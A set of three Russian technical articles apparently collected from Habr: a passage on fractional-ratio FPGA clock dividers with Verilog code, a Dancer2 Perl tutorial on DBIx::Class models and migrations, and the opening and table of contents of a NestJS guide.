В отличие от умножителей частот, делители частоты могут быть построены на логических ресурсах общего назначения, основу которых составляют регистры и генераторы комбинационных схем. Следует отметить, что применение логических ресурсов для формирования синхросигнала допускается средствами САПР и архитектурой большинства ПЛИС, но крайне не рекомендуется производителями вследствие вероятности появления ложных переходов и выбросов в полученном синхросигнале, вызванных переключением комбинационных схем. Таким образом, в ПЛИС с архитектурой FPGA для формирования синхросигналов предпочтительно использовать имеющуюся инфраструктуру, включающую специализированные ресурсы кристалла: блоки ввода синхросигнала, соединённые с определёнными выводами корпуса; блоки DLL, PLL, DCM или CMT; глобальные сети синхронизации, транслирующие синхросигнал в объёме кристалла с наименьшими искажениями.
Возможны два случая синхронизации функциональных блоков и узлов на пониженной частоте, полученной путём деления опорной частоты:
1. частота синхронизации кратна опорной частоте,
2. частота синхронизации получена путём деления опорной частоты на дробный коэффициент.
В первом случае крайне желательно использовать принцип разрешения синхронизации, заключающийся в применении триггеров и регистров с входом CE (Clock-Enable). Организация элементарного триггера с входом CE представлена на рис. 1. За основу взят триггер D-типа с синхронизацией по фронту и асинхронной установкой начального значения – RST. Вход CE реализует принцип разрешения синхронизации путём коммутации через мультиплексор MX-2:1 внутреннего информационного входа триггера либо на внешний источник данных — в случае CE = «1», либо на выход Q, при CE = «0». Синхросигнал CLK поступает на вход триггера постоянно, но срабатывание (запись внешних данных) происходит исключительно в тех тактах, в которых на вход CE подана лог. «1».
Путём генерации сигнала CE, устанавливаемого в лог. «1» в течение одного такта синхросигнала, и имеющего фиксированный период, составляющий натуральное число тактов, осуществляется синхронизация на пониженной частоте, кратной опорной частоте.
Триггер с входом CE может быть получен из элементарного D-триггера путём добавления двух транзисторов, реализующих входной мультиплексор (рис. 1). Большинство семейств ПЛИС содержит регистры, снабжённые входом CE, представляющие собой технологические примитивы, оптимизированные на уровне топологии ИС. В отсутствие необходимости использования разрешения синхронизации на вход CE подаётся постоянный разрешающий сигнал.
*Рис. 1. Организация элементарного триггера с входом CE*
Для второго случая, когда синхросигнал получен путём деления опорной частоты на дробный коэффициент, использование принципа разрешения синхронизации невозможно вследствие необходимости срабатывания по нисходящему и по восходящему по фронтам опорного синхросигнала в различных тактах. В данном случае для построения делителя частоты придётся пренебречь рекомендациями и использовать для формирования синхросигнала логические ресурсы. Во избежание гонок в комбинационной логике необходимо предусмотреть подачу входных сигналов таким образом, чтобы в течение времени срабатывания выходной комбинационной схемы изменял своё состояние только один входной сигнал.
Данный принцип построения делителя актуально использовать в двух случаях:
• отсутствие свободных блоков формирования частоты в ПЛИС архитектуры FPGA;
• использование ПЛИС архитектуры CPLD, не имеющих блоков формирования частоты.
В качестве примера можно рассмотреть связку ПЛИС архитектуры CPLD, микроконтроллера AVR фирмы Atmel, функционирующего на частоте 16 МГц, и опорного генератора синхросигнала с частотой 40МГц. Очевидна необходимость построения делителя частоты средствами ПЛИС, формирующего синхросигнал микроконтроллера путём деления опорной частоты на коэффициент 2,5.
Ниже рассмотрены две модели делителей частоты, формирующие синхросигналы различной формы:
• синхросигнал, полученный путём деления опорной частоты на дробный коэффициент;
• синхросигнал, полученный путём деления опорной частоты на натуральный коэффициент, но имеющий равную длительность высокого и низкого уровней в течение периода;
• сигналы, полученные путём деления опорной частоты на натуральный коэффициент, применяемые для разрешения синхронизации функциональных блоков и узлов, тактируемых опорным сигналом.
Рассмотрим примеры построения двух делителей частоты с дробными коэффициентами деления.
*Рис. 2. Интерфейс делителя частоты с коэффициентами деления 1.5 и 3.0*
Сначала необходимо определить интерфейс делителя частоты. На рис. 2 показан интерфейс для делителя с коэффициентами деления 1.5 и 3.0.
Входы делителя частоты ограничены двумя системными сигналами асинхронной установки начальных значений RST (активный высокий уровень) и синхросигналом CLK, задающим опорную тактовую частоту. Далее будем рассматривать синхронизацию по переднему фронту, при которой срабатывание регистров происходит при смене сигнала на входе CLK с низкого на высокий уровень.
Выходы делителя разделены на две группы. Первая группа выходов состоит из сигналов, предназначенных для непосредственного тактирования функциональных узлов, блоков и регистров. Эти сигналы подаются на входы синхронизации триггеров и имеют длительность высокого уровня максимально приближенную к длительности низкого уровня.
Вторая группа сигналов включает сигналы разрешения синхронизации CEO (Clock Enable Output), полученные на основе деления опорной частоты на натуральное число, и имеющие длительность высокого уровня, равную одному такту опорной частоты CLK. Сигналы из второй группы выходов характеризуются одной частотой и фиксированным сдвигом во времени на определённое число тактов опорной частоты. Выходы CEO ориентированы на синхронизацию функциональных узлов и блоков на пониженной частоте путём управления по цепям разрешения синхронизации CE (Clock Enable).
К сигналам первой группы предъявляются требования по стабильности переходного процесса, обеспечивающие срабатывание синхронизируемых узлов и блоков строго в нужные моменты времени. Требования стабильности были рассмотрены в статье [1].
Функционирование и внутреннюю организацию делителя частоты на коэффициенты 1.5 и 3.0 поясняет временная диаграмма на рис. 3.
Сформировать изображённые на диаграмме синхросигналы CLKDVxxx возможно только с использованием комбинационной логической схемы. Как известно, переключения комбинационной логики могут носить много ступенчатый характер, вызванный одновременным прохождением сигналов по различным промежуточным каскадам, что может приводить к многократным переключениям выходного сигнала в течение времени, отведённого на реакцию комбинационной схемы на входные воздействия. Подобная ситуация недопустима на выходе делителя частоты, ибо выходной сигнал должен изменять своё состояние ровно два раза за один период. Для устранения данного эффекта предлагается подавать на комбинационную схему сигналы с внутренних регистров таким образом, чтобы не происходили одновременные переключения двух и более входных сигналов.
В основе делителя лежит конечный автомат [2], непрерывно функционирующий по циклу 00-01-10, формирующий своими состояниями сигналы CEO\_DV3X и CEO\_DV3X\_1T. Промежуточный сигнал DL\_STATE\_1 получается путём фиксации сигнала CEO\_DV3X\_1T триггером, работающим по заднему фронту синхросигнала CLK.
Высокий уровень на выходе CLKDV1X5 формируется при условии совпадения закрашенных серым цветом значений промежуточных сигналов.
*Рис. 3. Диаграмма работы делителя с коэффициентами деления 1.5 и 3.0*
Выходной сигнал CLKDV3X0 формируется путём логического сложения (в положительной логике) сигналов CEO\_DV3X\_1T (CNTR\_STATE[1]) и DL\_STATE\_1. Нетрудно заметить, что данное техническое решение обеспечивает равенство длительности высокого и низкого логических уровней в течение одного периода.
Далее приводится поведенческая HDL-модель, описывающая рассмотренный делитель частоты на языке Verilog:
```
`timescale 1ns / 1ps
/////////////////////////////////////////////////////////////
// Company: Argon
// Engineer: FPGA-Mechanic
//
// Create Date: 16:27:50 03/16/2011
// Design Name: Clock Deviders
// Module Name: MCLKDIV_3X_V10
// Target Devices: PLD, FPGA or ASIC
// Tool versions: Xilinx ISE 10.1.03
// Description: Clock Frequency Divider by 1.5 and 3.0
// With Synchronous and Asynchronous Outputs
// Revision: 1.0
// Revision 1.0 - File Created
/////////////////////////////////////////////////////////////
module MCLKDIV_3X_V10(
input CLK, // Sys. Clock
input RST, // Asynch. Reset
output CLKDV1X5, // Asynch. CL-Output Clock/1.5
// Divided Frequency (H:L=1:2)
output CLKDV3X0, // Asynch. CL-Output Clock/3
// Divided Frequency (H:L=1:1)
output CEO_DV3X, // Synch. FF-Output Clock Enable
// Pulse (Clock/3 Frequency)
output CEO_DV3X_1T // Synch. FF-Output Clock Enable
// Pulse Delay 1T
);
// Internal signals declaration:
reg [1:0] CNTR_STATE;
reg DL_STATE_1;
//------------------------------------------
// Mod.3 Counter:
always @ (posedge CLK, posedge RST)
if(RST)
CNTR_STATE <= 2'd0;
else
case(CNTR_STATE)
2'd0 :
CNTR_STATE <= 2'd1;
2'd1 :
CNTR_STATE <= 2'd2;
default : // States 2 and 3:
CNTR_STATE <= 2'd0;
endcase
//------------------------------------------
// Clock-Enable Outputs:
assign CEO_DV3X = CNTR_STATE[0];
assign CEO_DV3X_1T = CNTR_STATE[1];
//------------------------------------------
// Delay for CNTR_STATE[1]:
always @ (CLK, RST, CNTR_STATE[1])
if(RST)
DL_STATE_1 <= 0;
else if(!CLK)
DL_STATE_1 <= CNTR_STATE[1];
//------------------------------------------
// Asynchronous Outputs:
assign CLKDV1X5 = (~CLK & CNTR_STATE[0]) | (CLK & DL_STATE_1);
assign CLKDV3X0 = CNTR_STATE[1] | DL_STATE_1;
//------------------------------------------
endmodule
```
Рассмотренный делитель частоты, в частности, может быть использован для генерации синхросигналов шин PCI, функционирующих на частотах 33 и 66 МГц, при использовании опорной частоты 100 МГц.
Делитель частоты с коэффициентами 2.0 и 4.0 в рамках данной статьи не рассматривается, ибо не относится к делителям с дробными коэффициентами деления и реализуется достаточно просто.
*Рис. 4. Интерфейс делителя частоты с коэффициентами деления 2.5 и 5.0*
На рис. 4 представлен интерфейс делителя с коэффициентами 2.5 и 5.0. Данный делитель построен по рассмотренным выше принципам, но имеет в основе более сложный автомат, формирующий внутренние сигналы и сигналы CEO.
Функционирование делителя с коэффициентами 2.5 и 5.0 поясняет диаграмма на рис. 5. Конечный автомат имеет четырёхразрядный внутренний регистр состояний и работает в цикле 0001-0100-0010-1000-1100. Сигналы CEO\_DV5X и CEO\_DV5X\_2T получены на основе младших разрядов состояния автомата. Сигнал DL\_STATE\_1 формируется путём фиксации сигнала CEO\_DV5X\_2T по заднему фронту опорного синхросигнала CLK.
*Рис. 5. Диаграмма работы делителя с коэффициентами деления 2.5 и 5.0*
Сигнал CLKDV2X5 получен путём логического сложения (в положительной логике) сигналов CEO\_DV5X (CNTR\_STATE[0]) и DL\_STATE\_1.
Сигнал CLKDV5X0 получен путём логического сложения (в положительной логике) сигналов CNTR\_STATE[3] и DL\_STATE\_1.
Сигналы, формируемые разрядами состояний автомата CNTR\_STATE[0] и CNTR\_STATE[1], могут быть использованы для синхронизации функциональных блоков и узлов с помощью механизма разрешения синхронизации Clock Enable. Данные разряды состояния дублируются на интерфейсе сигналами CEO\_DV5X и CEO\_DV5X\_2T.
Далее приводится поведенческая HDL-модель, описывающая делитель частоты с коэффициентами 2.5 и 5.0 на языке Verilog:
```
`timescale 1ns / 1ps
/////////////////////////////////////////////////////////////
// Company: Argon
// Engineer: FPGA-Mechanic
//
// Create Date: 16:27:50 03/16/2011
// Design Name: Clock Deviders
// Module Name: MCLKDIV_5X_V10
// Target Devices: PLD, FPGA or ASIC
// Tool versions: Xilinx ISE 10.1.03
// Description: Clock Frequency Divider by 2.5 and 5.0
// With Synchronous and Asynchronous Outputs
// Revision: 1.0
// Revision 1.0 - File Created
/////////////////////////////////////////////////////////////
module MCLKDIV_5X_V10(
input CLK, // Sys. Clock
input RST, // Asynch. Reset
output CLKDV2X5, // Asynch. CL-Output Clock/2.5
// Divided Frequency (H:L=2:5)
output CLKDV5X0, // Asynch. CL-Output Clock/5
// Divided Frequency (H:L=1:1)
output CEO_DV5X, // Synch. FF-Output Clock Enable
// Pulse (Clock/5 Frequency)
output CEO_DV5X_2T // Synch. FF-Output Clock Enable
// Pulse Delay 2T
);
// Internal signals declaration:
reg [3:0] CNTR_STATE;
reg DL_STATE_1;
//------------------------------------------
// Mod.5 Counter:
always @ (posedge CLK, posedge RST)
if(RST)
CNTR_STATE <= 4'd1;
else
case(CNTR_STATE)
4'd1 :
CNTR_STATE <= 4'd4;
4'd4 :
CNTR_STATE <= 4'd2;
4'd2 :
CNTR_STATE <= 4'd8;
4'd8 :
CNTR_STATE <= 4'd12;
4'd12 :
CNTR_STATE <= 4'd1;
default : // Other States :
CNTR_STATE <= 4'd1;
endcase
//------------------------------------------
// Clock-Enable Outputs:
assign CEO_DV5X = CNTR_STATE[0];
assign CEO_DV5X_2T = CNTR_STATE[1];
//------------------------------------------
// Delay for CNTR_STATE[1]:
always @ (CLK, RST, CNTR_STATE[1])
if(RST)
DL_STATE_1 <= 0;
else if(!CLK)
DL_STATE_1 <= CNTR_STATE[1];
//------------------------------------------
// Asynchronous Outputs:
assign CLKDV2X5 = CNTR_STATE[0] | DL_STATE_1;
assign CLKDV5X0 = CNTR_STATE[3] | DL_STATE_1;
//------------------------------------------
endmodule
```
### Цитированная литература
1. Борисенко Н.В. Технические аспекты построения управляющих автоматов при проектировании цифровых устройств на основе современных ПЛИС «Компоненты и технологии» №12.2011.
2. Алгебраическая теория автоматов, языков и полугрупп. Под редакцией М. Арбиба. Пер. с англ. М., «Статистика», 1975. 335 с.; с илл.
3. Spartan-6 Clocking Resources, [www.xilinx.com/training/free-video-courses.htm#FPGA-ARC](http://www.xilinx.com/training/free-video-courses.htm#FPGA-ARC)
4. Using Delay-Locked Loops in Spartan-II/IIE FPGAs, Xilinx Application Note XAPP174 | https://habr.com/ru/post/306132/ | null | ru | null |
# Dancer2 или современное web-приложение на PERL. Часть III
Современные web-приложения в большинстве случаях хранят данные в SQL базах данных. Для доступа к этим данным используются объекты модели, которые позволяют совершать все основные операции: SELECT, INSERT, UPDATE, DELETE, но не ограничиваясь ими.
В этой части мы поговорим про работу с базой в **Dancer2**, а также научимся создавать модели и миграции на основе **DBIx::Class** (можно сказать, что эта статья является вводным руководством и по нему).
Для удобства будем считать, что термин база данных в нашем изложении, означает именно СУБД SQL: MySQL, MariaDB, PostgreSQL, SQLite и другие.
### Подключение к БД
Dancer2 не регламентирует правила и методы для работы с базой. Разработчик волен выбрать любое подходящее решение. Для небольших приложений - это могут быть прямые SQL-запросы, для больших проектов можно реализовать DDD с репозиториями и фабриками или удобный ActiveRecord. Начнем с простого.
В perl стандартным интерфейсом для работы с БД является DBI, который использует DBD-драйверы для установки конкретных соединений (например, для интеграции с MySQL следует дополнительно к DBI установить драйвер DBD::mysql). Dancer использует модуль обертку над ним **Dancer2::Plugin::Database**, которая упрощает задачу создания соединения и добавляет в наш арсенал хелпер `database`. Установим его:
```
cpan Dancer2::Plugin::Database
```
Подключаем модуль вверху lib/MyApp.pm:
```
use Dancer2::Plugin::Database;
```
В качестве базы будем использовать SQLite, она не требует поднятия сервера и проста в использовании. Фактически нам нужен лишь драйвер:
```
cpan DBD::SQLite
```
Добавим в секцию plugins файла config.yml:
```
Database:
driver: "SQLite"
database: "dancr.db"
```
Чтобы не хранить в репозитории потенциально большой и часто изменяемый файл (в котором еще и могут оказаться персональные данные), добавьте *dancr.db* в *.gitignore*.
Теперь проверим соединение. Для этого создадим роут в lib/MyApp.pm, в котором вызовем пинг:
```
get '/db' => sub {
'Соединение с базой установлено' if database->ping;
};
```
При открытии <http://localhost:5000/db> мы увидим соответствующее сообщение.
Как видно из примера, общение происходит через объект, возвращаемый функцией `database`. Через него можно обращаться к бд и выполнять любые SQL запросы (подробный мануал можно найти в документации DBI на metacpan). Многим приложениям этого более чем достаточно. Но мы пойдем дальше и реализуем слой моделей.
DBIx::Class
-----------
Для создания моделей будем использовать паттерн ActiveRecord, объединяющий в моделях бизнес логику и методы по работе с данными. В перле он реализован популярным и очень мощным модулем **DBIx::Class**, а Dancer имеет соответствующий плагин **Dancer2::Plugin::DBIC**.
Устанавливаем:
```
cpan Dancer2::Plugin::DBIC
```
Далее необходимо создать классы, описывающие схему данных нашего проекта. Для примера реализуем логику работы с пользователями.
Создадим корневой класс *lib/MyApp/Schema.pm:*
```
package MyApp::Schema;
use warnings;
use strict;
use parent qw/DBIx::Class::Schema/;
our $VERSION = '1.00';
__PACKAGE__->load_namespaces;
1;
```
Его основная задача подключать классы, представляющие конкретные таблицы. Для пользователей это будет *lib/MyApp/Schema/Result/User.pm:*
```
package MyApp::Schema::Result::User;
use warnings;
use strict;
use parent qw/DBIx::Class::Core/;
__PACKAGE__->table('user');
__PACKAGE__->add_columns(
id => {
data_type => 'integer',
is_auto_increment => 1
},
login => {
data_type => 'text',
},
email => {
data_type => 'text',
},
);
__PACKAGE__->set_primary_key('id');
__PACKAGE__->add_unique_constraint([qw/login/]);
__PACKAGE__->add_unique_constraint([qw/email/]);
1;
```
Тут мы описываем название таблицы (7 строка), потом её атрибуты и их свойства. В 22 строке определили первичный ключ и установили предикат UNIQUE для поля login в 24 и email в 26.
В результате получим следующую структуру в директории *lib:*
Создадим директорию *db,* чтобы хранить там базу и всё, что к ней относится*:*
```
mkdir db
```
Теперь подключаем плагин в config.yml, секция plugins:
```
DBIC:
default:
dsn: "dbi:SQLite:dbname=db/dancr.db"
schema_class: "MyApp::Schema"
```
С созданием модели мы разобрались, осталось создать таблицы и наполнить их.
Миграции
--------
Это набор скриптов и файлов позволяющий версионировать базу данных, а также переносить её между машинами. Миграции удобны при работе в команде. Любой разработчик может установить актуальную схему просто клонировав репозиторий проекта и запустив нужный скрипт.
Воспользуемся пакетом **DBIx::Class::Migration**:
```
cpan DBIx::Class::Migration
```
После установки мы сможем использовать утилиту `dbic-migration` для работы с миграциями. Она принимает, в том числе, следующие опции:
* -I - путь к директории, где хранятся модули нашего проекта
* --schema\_class - имя корневого класса
* --dsn - строка с данными для подключения к базе
* --target\_dir - директория для хранения миграций
Как видите, их довольно много и работать с этим набором из командной строки достаточно проблематично. Для удобства, создадим простой скрипт обертку *migration.pl* в корне проекта:
```
$base = 'dbic-migration -I lib --schema_class MyApp::Schema --dsn dbi:SQLite:dbname=db/dancr.db --target_dir db';
for (shift) {
if (/prepare/) { exec "$base prepare"; }
if (/install/) { exec "$base install"; }
}
```
В нем мы реализовали две простые команды:
* `prepare` - создаст весь необходимый скелет и базовые миграции, ориентируясь на нашу схему
* `install` - применит миграции к базе
Запускаем `prepare` в консоли:
```
perl migration.pl prepare
```
Получим следующую структуру в *db:*
Рассмотрим подробнее каждую поддиректорию:
* fixtures - тут хранятся фикстуры в виде json-файлов. Обычно их применяют для тестирования базы, но это выходит за рамки данной статьи.
* migrations - состоит из \_source (не спроста начинается с нижнего подчеркивания) и migrations, где собственно и хранятся файлы миграции, созданные на основе нашей схемы, например *001-auto.sql* (в нем вы найдете sql-код для создания таблицы users).
Обратите внимание, что путь к фикстурам и миграциям содержит номер версии схемы, указанный в *MyApp::Schema* - это основной способ управления ими.
Чтобы наполнить базу первоначальными данными, создадим вручную файл *db/migrations/SQLite/deploy/1.00/002-users.sql:*
```
BEGIN TRANSACTION;
INSERT INTO user ("login", "email")
VALUES ("Jenya", "j@mail.ru"),
("Mila", "m@mail.ru");
COMMIT;
```
Теперь применим миграции:
```
perl migration.pl install
```
Выводим данные (вместо заключения)
----------------------------------
Напишем простой роут, по которому будем отдавать список пользователей:
```
get '/users' => sub {
my @users = map { { $_->get_columns } } schema->resultset('User')->all;
template 'users', {
users => \@users,
};
};
```
В нем мы получаем данные из базы данных и передаем их в представление в виде массива хэшей. Реализуем представление *views/users.hbs*:
```
Users
=====
{{#each users}}
логин: {{ login }}, email: {{ email }}
{{/each}}
```
Теперь по <http://localhost:5000/users> можно будет увидеть список всех пользователей системы. Тем самым мы полностью реализовали основу полноценного MVC-проекта. Используя эту структуру, вы сможете легко решить любую бизнес задачу и создать современное web-приложение.
Весь код можно найти на гитхабе (ссылка в конце).
P.S.
----
Следующая часть будет заключительной, там будет самое интересное!
#### Серия статей про Dancer2
* [Часть I](https://habr.com/ru/post/571586/) - установка, роутинг и шаблоны
* [Часть II](https://habr.com/ru/post/573372/) - выбор шаблонного движка, сессии и флэш-сообщения
* Часть III (текущая) - работа с базой, модели и миграции
Ссылки
------
* [DBI](https://metacpan.org/pod/DBI)
* [DBD::SQLite](https://metacpan.org/pod/DBD::SQLite)
* [DBD::mysql](https://metacpan.org/pod/DBD::mysql)
* [Dancer2::Plugin::Database](https://metacpan.org/pod/Dancer2::Plugin::Database)
* [DBIx::Class](https://metacpan.org/pod/DBIx::Class)
* [Dancer2::Plugin::DBIC](https://metacpan.org/pod/Dancer2::Plugin::DBIC)
* [DBIx::Class::Migration](https://metacpan.org/pod/DBIx::Class::Migration)
* [Репозиторий с кодом](https://github.com/AlexP007/perl-dancer2-habr/tree/part_III) | https://habr.com/ru/post/579668/ | null | ru | null |
# Руководство по NestJS. Часть 2
Привет, друзья!
Данная серия статей представляет собой мои заметки о [NestJS](https://nestjs.com/) — фреймворке для разработки эффективных и масштабируемых серверных приложений на [Node.js](https://nodejs.org/en/). *NestJS* использует прогрессивный (что означает текущую версию *ECMAScript*) *JavaScript* с полной поддержкой [TypeScript](https://www.typescriptlang.org/) (использование *TypeScript* является опциональным) и сочетает в себе элементы объектно-ориентированного, функционального и реактивного функционального программирования.
Под капотом *Nest* по умолчанию использует [Express](https://expressjs.com/ru/), но позволяет переключиться [Fastify](https://www.fastify.io/).
* [Шпаргалка по Express API](https://my-js.org/docs/cheatsheet/express-api/)
* [Карманная книга по TypeScript](https://my-js.org/docs/guide/ts)
* [Шпаргалка по TypeScript](https://my-js.org/docs/cheatsheet/ts/)
Первая статья представляет собой обзор основных возможностей, предоставляемых *NestJS*, во второй рассматриваются основы работы с этим фреймворком, в третьей — техники и рецепты по интеграции *NestJS* с некоторыми популярными библиотеками, используемыми при разработке приложений на *Node.js*, наконец, четвертая статья представляет собой туториал по разработке относительно полноценного *React/Nest/TypeScript-приложения*.
При рассказе о *Nest* я буду придерживаться структуры и содержания официальной документации.
Это вторая часть руководства.
Вот [ссылка на первую часть](https://habr.com/ru/company/timeweb/blog/663234/).
Содержание:
* [Кастомные провайдеры](#%D0%BA%D0%B0%D1%81%D1%82%D0%BE%D0%BC%D0%BD%D1%8B%D0%B5-%D0%BF%D1%80%D0%BE%D0%B2%D0%B0%D0%B9%D0%B4%D0%B5%D1%80%D1%8B)
+ [Основы внедрения зависимостей](#%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D1%8B-%D0%B2%D0%BD%D0%B5%D0%B4%D1%80%D0%B5%D0%BD%D0%B8%D1%8F-%D0%B7%D0%B0%D0%B2%D0%B8%D1%81%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9)
+ [Стандартные провайдеры](#%D1%81%D1%82%D0%B0%D0%BD%D0%B4%D0%B0%D1%80%D1%82%D0%BD%D1%8B%D0%B5-%D0%BF%D1%80%D0%BE%D0%B2%D0%B0%D0%B9%D0%B4%D0%B5%D1%80%D1%8B)
+ [Кастомные провайдеры](#%D0%BA%D0%B0%D1%81%D1%82%D0%BE%D0%BC%D0%BD%D1%8B%D0%B5-%D0%BF%D1%80%D0%BE%D0%B2%D0%B0%D0%B9%D0%B4%D0%B5%D1%80%D1%8B-1)
+ [`Провайдеры значения: useValue`](#%D0%BF%D1%80%D0%BE%D0%B2%D0%B0%D0%B9%D0%B4%D0%B5%D1%80%D1%8B-%D0%B7%D0%BD%D0%B0%D1%87%D0%B5%D0%BD%D0%B8%D1%8F-usevalue)
+ [Другие токены провайдеров](#%D0%B4%D1%80%D1%83%D0%B3%D0%B8%D0%B5-%D1%82%D0%BE%D0%BA%D0%B5%D0%BD%D1%8B-%D0%BF%D1%80%D0%BE%D0%B2%D0%B0%D0%B9%D0%B4%D0%B5%D1%80%D0%BE%D0%B2)
+ [`Провайдеры классов: useClass`](#%D0%BF%D1%80%D0%BE%D0%B2%D0%B0%D0%B9%D0%B4%D0%B5%D1%80%D1%8B-%D0%BA%D0%BB%D0%B0%D1%81%D1%81%D0%BE%D0%B2-useclass)
+ [`Провайдеры фабрик: useFactory`](#%D0%BF%D1%80%D0%BE%D0%B2%D0%B0%D0%B9%D0%B4%D0%B5%D1%80%D1%8B-%D1%84%D0%B0%D0%B1%D1%80%D0%B8%D0%BA-usefactory)
+ [`Провайдеры псевдонимов: useExisting`](#%D0%BF%D1%80%D0%BE%D0%B2%D0%B0%D0%B9%D0%B4%D0%B5%D1%80%D1%8B-%D0%BF%D1%81%D0%B5%D0%B2%D0%B4%D0%BE%D0%BD%D0%B8%D0%BC%D0%BE%D0%B2-useexisting)
+ [Другие провайдеры](#%D0%B4%D1%80%D1%83%D0%B3%D0%B8%D0%B5-%D0%BF%D1%80%D0%BE%D0%B2%D0%B0%D0%B9%D0%B4%D0%B5%D1%80%D1%8B)
+ [Экспорт кастомных провайдеров](#%D1%8D%D0%BA%D1%81%D0%BF%D0%BE%D1%80%D1%82-%D0%BA%D0%B0%D1%81%D1%82%D0%BE%D0%BC%D0%BD%D1%8B%D1%85-%D0%BF%D1%80%D0%BE%D0%B2%D0%B0%D0%B9%D0%B4%D0%B5%D1%80%D0%BE%D0%B2)
* [Асинхронные провайдеры](#%D0%B0%D1%81%D0%B8%D0%BD%D1%85%D1%80%D0%BE%D0%BD%D0%BD%D1%8B%D0%B5-%D0%BF%D1%80%D0%BE%D0%B2%D0%B0%D0%B9%D0%B4%D0%B5%D1%80%D1%8B)
* [Динамические модули](#%D0%B4%D0%B8%D0%BD%D0%B0%D0%BC%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B5-%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D0%B8)
+ [Динамические модули](#%D0%B4%D0%B8%D0%BD%D0%B0%D0%BC%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B5-%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D0%B8-1)
+ [Пример конфигурационного модуля](#%D0%BF%D1%80%D0%B8%D0%BC%D0%B5%D1%80-%D0%BA%D0%BE%D0%BD%D1%84%D0%B8%D0%B3%D1%83%D1%80%D0%B0%D1%86%D0%B8%D0%BE%D0%BD%D0%BD%D0%BE%D0%B3%D0%BE-%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D1%8F)
+ [Настройка модуля](#%D0%BD%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B9%D0%BA%D0%B0-%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D1%8F)
+ [`Разница между методами register`, `forRoot` и `forFeature`](#%D1%80%D0%B0%D0%B7%D0%BD%D0%B8%D1%86%D0%B0-%D0%BC%D0%B5%D0%B6%D0%B4%D1%83-%D0%BC%D0%B5%D1%82%D0%BE%D0%B4%D0%B0%D0%BC%D0%B8-register-forroot-%D0%B8-forfeature)
* [Области внедрения / Injection scopes](#%D0%BE%D0%B1%D0%BB%D0%B0%D1%81%D1%82%D0%B8-%D0%B2%D0%BD%D0%B5%D0%B4%D1%80%D0%B5%D0%BD%D0%B8%D1%8F--injection-scopes)
+ [Область видимости провайдера](#%D0%BE%D0%B1%D0%BB%D0%B0%D1%81%D1%82%D1%8C-%D0%B2%D0%B8%D0%B4%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8-%D0%BF%D1%80%D0%BE%D0%B2%D0%B0%D0%B9%D0%B4%D0%B5%D1%80%D0%B0)
+ [Определение области видимости провайдера](#%D0%BE%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BE%D0%B1%D0%BB%D0%B0%D1%81%D1%82%D0%B8-%D0%B2%D0%B8%D0%B4%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8-%D0%BF%D1%80%D0%BE%D0%B2%D0%B0%D0%B9%D0%B4%D0%B5%D1%80%D0%B0)
+ [Область видимости контроллера](#%D0%BE%D0%B1%D0%BB%D0%B0%D1%81%D1%82%D1%8C-%D0%B2%D0%B8%D0%B4%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8-%D0%BA%D0%BE%D0%BD%D1%82%D1%80%D0%BE%D0%BB%D0%BB%D0%B5%D1%80%D0%B0)
+ [Иерархия областей видимости](#%D0%B8%D0%B5%D1%80%D0%B0%D1%80%D1%85%D0%B8%D1%8F-%D0%BE%D0%B1%D0%BB%D0%B0%D1%81%D1%82%D0%B5%D0%B9-%D0%B2%D0%B8%D0%B4%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8)
+ [Провайдер запроса](#%D0%BF%D1%80%D0%BE%D0%B2%D0%B0%D0%B9%D0%B4%D0%B5%D1%80-%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%B0)
* [Циклическая зависимость / Circular dependency](#%D1%86%D0%B8%D0%BA%D0%BB%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B0%D1%8F-%D0%B7%D0%B0%D0%B2%D0%B8%D1%81%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D1%8C--circular-dependency)
+ [Передача ссылки](#%D0%BF%D0%B5%D1%80%D0%B5%D0%B4%D0%B0%D1%87%D0%B0-%D1%81%D1%81%D1%8B%D0%BB%D0%BA%D0%B8)
* [Ссылка на модуль / Module reference](#%D1%81%D1%81%D1%8B%D0%BB%D0%BA%D0%B0-%D0%BD%D0%B0-%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D1%8C--module-reference)
+ [Получение экземпляров компонентов](#%D0%BF%D0%BE%D0%BB%D1%83%D1%87%D0%B5%D0%BD%D0%B8%D0%B5-%D1%8D%D0%BA%D0%B7%D0%B5%D0%BC%D0%BF%D0%BB%D1%8F%D1%80%D0%BE%D0%B2-%D0%BA%D0%BE%D0%BC%D0%BF%D0%BE%D0%BD%D0%B5%D0%BD%D1%82%D0%BE%D0%B2)
+ [Разрешение провайдеров с ограниченной областью видимости](#%D1%80%D0%B0%D0%B7%D1%80%D0%B5%D1%88%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BF%D1%80%D0%BE%D0%B2%D0%B0%D0%B9%D0%B4%D0%B5%D1%80%D0%BE%D0%B2-%D1%81-%D0%BE%D0%B3%D1%80%D0%B0%D0%BD%D0%B8%D1%87%D0%B5%D0%BD%D0%BD%D0%BE%D0%B9-%D0%BE%D0%B1%D0%BB%D0%B0%D1%81%D1%82%D1%8C%D1%8E-%D0%B2%D0%B8%D0%B4%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8)
